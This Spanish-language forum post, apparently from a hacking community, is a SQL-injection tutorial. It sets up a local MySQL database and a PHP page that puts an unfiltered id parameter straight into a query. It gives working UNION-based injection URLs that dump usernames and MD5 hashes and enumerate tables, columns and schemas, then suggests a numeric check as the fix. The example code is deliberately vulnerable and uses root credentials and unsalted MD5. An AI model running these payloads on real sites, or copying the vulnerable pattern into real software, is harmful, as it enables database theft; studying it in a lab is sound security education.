Explicacion practica de sqli [a pedido de staRgan]

Iniciado por blozzter, Agosto 24, 2011, 09:15:14 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Agosto 24, 2011, 09:15:14 PM Ultima modificación: Julio 28, 2014, 01:02:04 PM por Expermicid
qué es.

es una técnica que consiste en hacer consultas de forma directa a la base de datos del sistema.


cuándo se produce.

se producen cuando se incluye en una consulta SQL una variable que no ha sido previamente filtrada.


ejemplo práctico

imaginemos que tenemos una base de datos llamada 'database' a la que tiene acceso el usuario 'root' y cuya pass es 'pass'.

la DB tiene 2 tablas, una de noticias y otra de usuarios.

seria asi:

Código: mysql

--
-- Estructura de tabla para la tabla `noticias`
--

CREATE TABLE `noticias` (
  `id` smallint(5) unsigned NOT NULL auto_increment,
  `titulo` varchar(50) NOT NULL default '',
  `cuerpo` text NOT NULL,
  PRIMARY KEY  (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=3 ;

--
-- Volcar la base de datos para la tabla `noticias`
--

INSERT INTO `noticias` VALUES (1, 'introduccion practica a sqli', 'cuerpo de la primera noticia <br />\r\nbla <br />\r\nbla <br />\r\nbla <br />\r\n<br />\r\n<br />\r\n<h3> ¡< blozzter >!');
INSERT INTO `noticias` VALUES (2, 'titulo 2', 'cuerpo de la noticia 2 <br />\r\n... <br />\r\n... <br />\r\n... <br />\r\n... saludos mitm.cl\r\n');

-- --------------------------------------------------------

--
-- Estructura de tabla para la tabla `usuarios`
--

CREATE TABLE `usuarios` (
  `id` smallint(5) unsigned NOT NULL auto_increment,
  `usuario` varchar(20) NOT NULL default '',
  `clave` varchar(32) NOT NULL,
  PRIMARY KEY  (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=3 ;

--
-- Volcar la base de datos para la tabla `usuarios`
--

INSERT INTO `usuarios` VALUES (1, 'admin', '21232f297a57a5a743894a0e4a801fc3');
INSERT INTO `usuarios` VALUES (2, 'root', '63a9f0ea7bb98050796b649e85481845');




y la pagina cuenta con un archivo que accede a la DB para mostrar las noticias asociadas a cierto id, dicho archivo es vulnerable a sqli ya que no filtra la variable id.


archivo sqli.php:

Código: php

<?php

$host = 'localhost';
$user = 'root';
$pass='pass';
$datos = 'database';

$conexion = mysql_connect($host, $user, $pass)
or die("no se ha conectado a la db");
mysql_select_db($datos,$conexion)
or die("problemas al seleccionar db");



if (isset($_GET['id'])) {
$id = $_GET['id'];
}

if(empty($id)){
$id = "1";
}


$sql = mysql_query("SELECT id, titulo, cuerpo FROM noticias WHERE id=".$id)
or die (mysql_error());

$resultado = mysql_fetch_row($sql);


echo "<h2>".$resultado[1]."</h1><br />";
echo "<h3>".$resultado[2]."</h3><br />";
mysql_close($conexion);

?>



teniendo eso podemos generar una consulta que nos permita acceder a la información almacenada en la DB. por ejemplo, que nos arroje sus usuarios y sus passwords:

Código: php
http://localhost/sqli.php?id= 1+union+select+all+1,2,group_concat(id,0x3a3a,usuario,0x3a3a,clave,0x3c62723e)+from+usuarios


lo que devolvería algo como:

Citar
1::admin::21232f297a57a5a743894a0e4a801fc3
,2::root::63a9f0ea7bb98050796b649e85481845


cómo solucionar el problema.

podemos filtrar la variable id y asegurarnos que efectivamente sea un número:


Código: php

<?php

...

if (isset($_GET['id'])) {
$id = $_GET['id'];

if (!is_numeric($id)){
echo "<script>alert('no me hagas sqli!')</script>";
exit();
}
}

...

?>



nota: no pongo todos los pasos del proceso de explotación porque aquí todos lo saben  :o


adicional:


para sacar las tablas en el ejemplo que estoy dando seria:

Código: php
http://localhost/sqli.php?id=-1+union+select+all+1,2,group_concat(table_name,0x3c62723e)+from+information_schema.tables+--+



para sacar las columnas de la tabla 'usuarios' sería:

Código: php
http://localhost/sqli.php?id=-1+union+select+all+1,2,group_concat(column_name,0x3c62723e)+from+information_schema.columns+where+table_name=0x7573756172696f73+--+


donde para convertir a hexadecimal podemos usar una No tienes permitido ver los links. Registrarse o Entrar a mi cuenta o bien hacernos nuestra propia No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


y para ver las bases de datos (esto lo aprendí del p0fk) :

Código: php
http://localhost/sqli.php?id=-1+union+select+all+1,2,group_concat(schema_name,0x3c62723e)+from+information_schema.schemata+--+



saludos.
¡< blozzter >!